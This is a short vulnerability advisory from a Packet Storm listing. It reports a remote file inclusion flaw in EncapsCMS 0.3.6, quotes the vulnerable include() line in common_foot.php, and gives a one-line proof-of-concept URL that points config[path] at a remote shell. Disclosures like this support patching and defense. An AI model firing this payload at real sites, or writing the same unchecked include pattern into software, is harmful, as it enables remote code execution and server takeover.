EncapsCMS 0.3.6 Remote File Inclusion

2010-02-08T00:00:00
ID PACKETSTORM:86036
Type packetstorm
Reporter cr4wl3r
Modified 2010-02-08T00:00:00

Description

                                        
                                            `[+] EncapsCMS <= 0.3.6 (config[path]) Remote File Include Vulnerability  
[+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>  
[+] Download : http://scripts.ringsworld.com/content-management/encapscms-0.3.6/  
  
  
[+] Vuln Code : [common_foot.php]  
  
include($config['path']."idx_foot.html");  
if($config["debug"]>0){  
echo '<pre><table width=100% bgcolor=silver><tr><td></td></tr></table>';   
echo '$_POST:';var_dump($_POST);  
  
[+] PoC :   
  
[EncapsCMS_path]/common_foot.php?config[path]=[Shell]  
`